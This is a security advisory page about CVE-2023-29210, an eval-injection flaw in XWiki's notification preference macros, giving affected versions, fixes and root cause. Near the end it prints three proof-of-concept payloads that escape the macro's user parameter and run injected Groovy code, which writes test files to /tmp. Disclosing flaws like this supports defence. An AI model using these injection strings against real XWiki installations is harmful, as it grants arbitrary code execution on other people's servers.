Eval Injection Affecting org.xwiki.platform:xwiki-platform-notifications-ui package, versions [13.2-rc-1,13.10.11)[14.0-rc-1,14.4.7)[14.5,14.10)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.32% (72nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Eval Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGXWIKIPLATFORM-5421182
  • published13 Apr 2023
  • disclosed12 Apr 2023
  • creditUnknown

Introduced: 12 Apr 2023

CVE-2023-29210  (opens in a new tab)
CWE-95  (opens in a new tab)

How to fix?

Upgrade org.xwiki.platform:xwiki-platform-notifications-ui to version 13.10.11, 14.4.7, 14.10 or higher.

Overview

Affected versions of this package are vulnerable to Eval Injection such that any user with view rights on commonly accessible documents including the notification preferences macros can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the user parameter of the macro that provide the notification filters. These macros are used in the user profiles and thus installed by default in XWiki.

PoC

{{notificationsFiltersPreferences target="user" user="~" /~}~} {{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new File(~"/tmp/exploit.txt~").withWriter { out -> out.println(~"created from filter preferences!~"); }{{/groovy~}~}{{/async~}~}"/}}

{{notificationsAutoWatchPreferences target="user" user="~" /~}~} {{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new File(~"/tmp/exploit2.txt~").withWriter { out -> out.println(~"created from auto watch preferences!~"); }{{/groovy~}~}{{/async~}~}"/}}

{{notificationsEmailPreferences target="user" user="~" /~}~} {{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new File(~"/tmp/exploit3.txt~").withWriter { out -> out.println(~"created from email filter preferences!~"); }{{/groovy~}~}{{/async~}~}"/}}

If this creates files inside /tmp, the installation is vulnerable.

CVSS Scores

version 3.1